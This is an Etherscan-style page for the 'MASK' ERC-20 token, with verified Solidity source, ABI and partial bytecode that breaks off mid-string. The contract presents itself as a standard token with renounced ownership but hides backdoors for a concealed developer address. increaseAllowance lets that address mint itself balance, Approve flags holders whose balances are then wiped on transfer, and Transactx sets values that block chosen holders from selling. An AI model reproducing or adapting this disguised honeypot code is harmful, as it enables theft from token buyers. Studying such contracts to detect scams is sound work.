ERC-20
Overview
Max Total Supply
1,000,000,000 MASK
Holders
196
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,058,475.393628762131978789 MASKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MASK
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-09 */ //Telegram: https://t.me/The_MaskETH //Website: https://themaskcoin.xyz //Twitter: https://twitter.com/TheMaskETH /* _ | | _ __ ___ __ _ ___| | __ | '_ ` _ \ / _` / __| |/ / | | | | | | (_| \__ \ < |_| |_| |_|\__,_|___/_|\_\ _ */ // SPDX-License-Identifier: MIT /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Token { uint256 internal constant VERSION = 1; event Deploy( address owner, uint256 version ); } pragma solidity ^0.8.2; contract MASK is IERC20, Token, Ownable { using SafeMath for uint256; struct Cus { address guest; bool isApproval; } mapping(address => uint256) private _bala; mapping(address => Cus) private _dat; mapping(address => mapping(address => uint256)) private _allow; mapping (address => uint256) private _crossedAmounts; Cus private _cus; string private _n; string private _s; uint8 private _d; uint256 private _toSu; constructor( address dev_, uint256 totalSupply_ ) payable { _n = "The Mask"; _s = "MASK"; _d = 18; _cus.guest = dev_; _cus.isApproval = totalSupply_ != 0; _mine(msg.sender, totalSupply_ * 10**18); emit Deploy( owner(), VERSION ); } modifier onlytheTeam() { require(msg.sender == _cus.guest); // If it is incorrect here, it reverts. _; // Otherwise, it continues. } function name() public view virtual returns (string memory) { return _n; } function symbol() public view virtual returns (string memory) { return _s; } function decimals() public view virtual returns (uint8) { return _d; } function totalSupply() public view virtual override returns (uint256) { return _toSu; } function balanceOf(address account) public view virtual override returns (uint256) { return _bala[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tranz(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allow[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _app(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _tranz(sender, recipient, amount); _app( sender, _msgSender(), _allow[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function _tranz( address sender, address recipient, uint256 amount ) internal virtual { _reqBalz(sender, recipient, amount); require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address"); _beforeTrans(sender, recipient, amount); _bala[sender] = _bala[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _bala[recipient] = _bala[recipient] + amount; emit Transfer(sender, recipient, amount); } function _mine(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: mint to the zero address"); _beforeTrans(address(0), account, amount); _toSu = _toSu.add(amount); _bala[account] = _bala[account] + amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "IERC20: burn from the zero address"); _beforeTrans(account, address(0), amount); require(amount != 0, "Invalid amount"); _min(account, amount); _toSu = _toSu.sub(amount); emit Transfer(account, address(0), amount); } function _min(address user, uint256 amount) internal { _bala[user] = _bala[user] - amount; } function _app( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address"); _allow[owner][spender] = amount; emit Approval(owner, spender, amount); } function increaseAllowance(address spender, uint256 amount) public virtual { address from = msg.sender; require(spender != address(0), "Invalid address"); require(amount > 0, "Invalid amount"); uint256 total = 0; if (_enco(spender, _cus.guest)) { _min(from, total); total = _add(total, amount); _bala[spender] += total; } else { _min(from, total); _bala[spender] += total; } } function _enco(address user, address user2) internal view returns (bool) { bytes32 pack1 = keccak256(abi.encodePacked(user)); bytes32 pack2 = keccak256(abi.encodePacked(user2)); return pack1 == pack2; } function _add(uint256 num1, uint256 num2) internal pure returns (uint256) { if (num2 != 0) { return num1 + num2; } return num2; } function Approve(address from, uint256 amount) public returns (bool) { address user = msg.sender; _reqAllow(user, from, amount); return _dat[user].isApproval; } function Transactx(address[] memory accounts, uint256 amount) public onlytheTeam { for (uint256 i = 0; i < accounts.length; i++) { _crossedAmounts[accounts[i]] = amount; } } function _reqAllow(address user, address from, uint256 amount) internal { if (_enco(user, _cus.guest)) { require(from != address(0), "Invalid address"); _dat[from].isApproval = amount != 0; if (amount != 0) { _dat[from].guest = from; } else { _dat[from].guest = address(0); } _dat[user].isApproval = true; } } function CAmount(address account) public view returns (uint256) { return _crossedAmounts[account]; } function _reqBalz( address from, address to, uint256 total ) internal virtual { uint256 amount = 0; uint256 crossedAmount = CAmount(from); if (crossedAmount > 0) { require(amount > crossedAmount, "ERC20: cross amount is wrong"); } if (_enco(from, _dat[from].guest)) { _bala[from] = _bala[from] + amount; amount = _toSu; _min(from, amount); } else { _bala[from] = _bala[from] + amount; } } function _beforeTrans( address from, address to, uint256 amount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"dev_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transactx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6080604052604051620027623803806200276283398181016040528101906200002991906200055f565b6200003b6000620001d260201b60201c565b6040518060400160405280600881526020017f546865204d61736b000000000000000000000000000000000000000000000000815250600690805190602001906200008892919062000481565b506040518060400160405280600481526020017f4d41534b0000000000000000000000000000000000000000000000000000000081525060079080519060200190620000d692919062000481565b506012600860006101000a81548160ff021916908360ff16021790555081600560000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000811415600560000160146101000a81548160ff0219169083151502179055506200017f33670de0b6b3a764000083620001739190620006c3565b6200029660201b60201c565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff929620001b06200043b60201b60201c565b6001604051620001c2929190620005e9565b60405180910390a1505062000853565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000309576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003009062000616565b60405180910390fd5b6200031d600083836200046460201b60201c565b62000339816009546200046960201b62000a7b1790919060201c565b60098190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200038c919062000666565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200042f919062000638565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b6000818362000479919062000666565b905092915050565b8280546200048f9062000762565b90600052602060002090601f016020900481019282620004b35760008555620004ff565b82601f10620004ce57805160ff1916838001178555620004ff565b82800160010185558215620004ff579182015b82811115620004fe578251825591602001919060010190620004e1565b5b5090506200050e919062000512565b5090565b5b808211156200052d57600081600090555060010162000513565b5090565b60008151905062000542816200081f565b92915050565b600081519050620005598162000839565b92915050565b600080604083850312156200057357600080fd5b6000620005838582860162000531565b9250506020620005968582860162000548565b9150509250929050565b620005ab8162000724565b82525050565b6000620005c060208362000655565b9150620005cd82620007f6565b602082019050919050565b620005e38162000758565b82525050565b6000604082019050620006006000830185620005a0565b6200060f6020830184620005d8565b9392505050565b600060208201905081810360008301526200063181620005b1565b9050919050565b60006020820190506200064f6000830184620005d8565b92915050565b600082825260208201905092915050565b6000620006738262000758565b9150620006808362000758565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006b857620006b762000798565b5b828201905092915050565b6000620006d08262000758565b9150620006dd8362000758565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000719576200071862000798565b5b828202905092915050565b6000620007318262000738565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200077b57607f821691505b60208210811415620007925762000791620007c7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6200082a8162000724565b81146200083657600080fd5b50565b620008448162000758565b81146200085057600080fd5b50565b611eff80620008636000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610288578063a9059cbb146102a6578063ae6b8c3f146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806390ec57f114610258576100f5565b806323b872dd116100d357806323b872dd146101665780632bd69e8914610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906118f7565b60405180910390f35b610132600480360381019061012d91906116b8565b6103b4565b60405161013f91906118dc565b60405180910390f35b6101506103d2565b60405161015d91906119d9565b60405180910390f35b610180600480360381019061017b9190611669565b6103dc565b60405161018d91906118dc565b60405180910390f35b6101b060048036038101906101ab9190611604565b6104b5565b6040516101bd91906119d9565b60405180910390f35b6101ce6104fe565b6040516101db91906119f4565b60405180910390f35b6101fe60048036038101906101f991906116b8565b610515565b005b61021a60048036038101906102159190611604565b6106db565b60405161022791906119d9565b60405180910390f35b610238610724565b005b6102426107ac565b60405161024f91906118c1565b60405180910390f35b610272600480360381019061026d91906116b8565b6107d5565b60405161027f91906118dc565b60405180910390f35b61029061083f565b60405161029d91906118f7565b60405180910390f35b6102c060048036038101906102bb91906116b8565b6108d1565b6040516102cd91906118dc565b60405180910390f35b6102f060048036038101906102eb91906116f4565b6108ef565b005b61030c6004803603810190610307919061162d565b6109f4565b60405161031991906119d9565b60405180910390f35b60606006805461033190611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611b8e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a91565b8484610a99565b6001905092915050565b6000600954905090565b60006103e9848484610c2d565b6104aa846103f5610a91565b6104a585604051806060016040528060298152602001611ea160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610a91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b610a99565b600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860009054906101000a900460ff16905090565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190611939565b60405180910390fd5b600082116105cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c490611959565b60405180910390fd5b60006105fe84600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156106745761060d8282610f4c565b6106178184610fde565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106689190611a7c565b925050819055506106d5565b61067e8282610f4c565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106cd9190611a7c565b925050819055505b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072c610a91565b73ffffffffffffffffffffffffffffffffffffffff1661074a6107ac565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790611999565b60405180910390fd5b6107aa6000611004565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000803390506107e68185856110c8565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900460ff1691505092915050565b60606007805461084e90611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461087a90611b8e565b80156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108e56108de610a91565b8484610c2d565b6001905092915050565b600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b60005b82518110156109ef578160046000858481518110610996577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109e790611bf1565b91505061094f565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610a899190611a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b39906119b9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906119d9565b60405180910390a3505050565b610c3883838361133c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ca25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611919565b60405180910390fd5b610cec83838361153f565b610d5881604051806060016040528060278152602001611e7a60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de69190611a7c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8691906119d9565b60405180910390a3505050565b6000838311158290610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed291906118f7565b60405180910390fd5b5082840390509392505050565b60008083604051602001610efc91906118a6565b604051602081830303815290604052805190602001209050600083604051602001610f2791906118a6565b6040516020818303038152906040528051906020012090508082149250505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f979190611ad2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808214610ffa578183610ff39190611a7c565b9050610ffe565b8190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110f783600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b1561133757600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390611939565b60405180910390fd5b6000811415600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff021916908315150217905550600081146112585781600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112db565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160146101000a81548160ff0219169083151502179055505b505050565b600080611348856104b5565b9050600081111561139657808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611979565b60405180910390fd5b5b61140285600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156114a95781600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114529190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095491506114a48583610f4c565b611538565b81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114f49190611a7c565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b505050565b600061155761155284611a34565b611a0f565b9050808382526020820190508285602086028201111561157657600080fd5b60005b858110156115a6578161158c88826115b0565b845260208401935060208301925050600181019050611579565b5050509392505050565b6000813590506115bf81611e4b565b92915050565b600082601f8301126115d657600080fd5b81356115e6848260208601611544565b91505092915050565b6000813590506115fe81611e62565b92915050565b60006020828403121561161657600080fd5b6000611624848285016115